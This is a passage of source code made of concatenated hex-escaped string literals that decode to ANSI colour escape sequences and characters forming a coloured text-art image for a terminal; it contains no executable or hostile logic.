+"\x35\x3b\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d" +"\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x74\x2e\x38\x3a\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x33\x3b\x34\x30\x6d\x40\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34" +"\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b" +"\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30" +"\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x33\x3b\x34\x30\x6d\x53\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d" +"\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53" +"\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31" +"\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37" +"\x6d\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30" +"\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b" +"\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x40\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58" +"\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x32\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b" +"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x33" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x31\x3b\x33" +"\x37\x3b\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x58" +"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x2e\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b" +"\x31\x3b\x33\x30\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34" +"\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b" +"\x34\x37\x6d\x58\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x36\x3b\x34\x30\x6d\x25\x1b" +"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33" +"\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x3b\x3a\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d" +"\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31" +"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32" +"\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x25\x20\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30" +"\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d" +"\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x53\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x3a\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x37\x6d\x53\x40\x38\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b" +"\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x25\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b" +"\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d" +"\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x40\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31" +"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30" +"\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b" +"\x31\x3b\x33\x30\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34" +"\x37\x6d\x2e\x58\x3b\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33" +"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30" +"\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d" +"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d" +"\x40\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b" +"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b" +"\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d" +"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3a\x2e\x20\x20\x20\x2e\x2e\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37" +"\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38" +"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38" +"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b" +"\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b" +"\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x74\x20\x20" +"\x20\x20\x20\x20\x2e\x2e\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58" +"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33" +"\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b" +"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30" +"\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b" +"\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b" +"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d" +"\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x35\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34" +"\x37\x6d\x3a\x20\x2e\x20\x2e\x20\x20\x2e\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x33" +"\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34" +"\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x6d" +"\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x30\x3b" +"\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30" +"\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b" 